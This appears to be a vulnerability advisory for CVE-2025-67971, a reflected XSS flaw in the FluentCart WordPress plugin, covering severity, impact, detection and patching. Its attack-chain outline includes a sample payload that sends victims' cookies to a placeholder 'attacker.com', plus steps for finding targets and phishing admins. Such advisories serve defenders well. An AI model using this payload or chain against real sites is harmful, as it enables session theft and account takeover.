CVE-2025-67971: 
WordPress vulnerability analysis and mitigation

CVE-2025-67971 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WPManageNinja FluentCart WordPress plugin. It affects all versions of FluentCart from the initial release through versions prior to 1.3.0. The vulnerability was published on February 20, 2026, and carries a CVSS v3.1 base score of 7.1 (High) (Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the reflected type. Insufficient sanitization and escaping of user-supplied input allows an attacker to inject malicious scripts into web pages served by the FluentCart plugin. Exploitation requires user interaction (e.g., a victim clicking a crafted link), but no authentication or elevated privileges are required, and the scope is changed — meaning the injected script can affect resources beyond the vulnerable component (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (including administrative actions if an admin is targeted), and potential defacement or redirection to malicious sites. The changed scope indicates the impact extends beyond the plugin itself to the broader WordPress environment (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-67971. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction, which somewhat limits opportunistic mass exploitation (Feedly).

1. Reconnaissance: Identify WordPress sites running the FluentCart plugin (versions below 1.3.0) using tools like WPScan or Shodan with WordPress-specific fingerprinting.
2. Identify vulnerable parameter: Locate the input parameter(s) in FluentCart that are reflected in the page response without proper sanitization (e.g., URL query parameters processed by the plugin).
3. Craft malicious URL: Construct a URL targeting the vulnerable FluentCart endpoint with an injected JavaScript payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>, URL-encoded as needed.
4. Deliver the payload: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or embedding in a malicious page.
5. Achieve objective: When the victim clicks the link and their browser renders the reflected response, the injected script executes — enabling session hijacking, credential theft, or unauthorized administrative actions on the WordPress site (Feedly).

• Network: HTTP GET or POST requests to FluentCart plugin endpoints containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters.
• Logs: WordPress or web server access logs showing requests to FluentCart plugin URLs with anomalous or encoded payloads in query strings; referrer headers pointing to external or unknown domains.
• Browser/Client-Side: Unexpected redirects or pop-ups on FluentCart pages; outbound requests from victim browsers to unknown external domains shortly after visiting a FluentCart page.

Users should update the FluentCart plugin to version 1.3.0 or later, which addresses this vulnerability. Until an update can be applied, consider disabling the FluentCart plugin on affected WordPress installations. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim (Feedly, Wordfence).

Wordfence included this vulnerability in their weekly WordPress vulnerability report covering January 26 – February 1, 2026, highlighting it as part of broader plugin security monitoring (Wordfence). No significant additional vendor statements or notable researcher commentary have been identified beyond standard vulnerability disclosure.
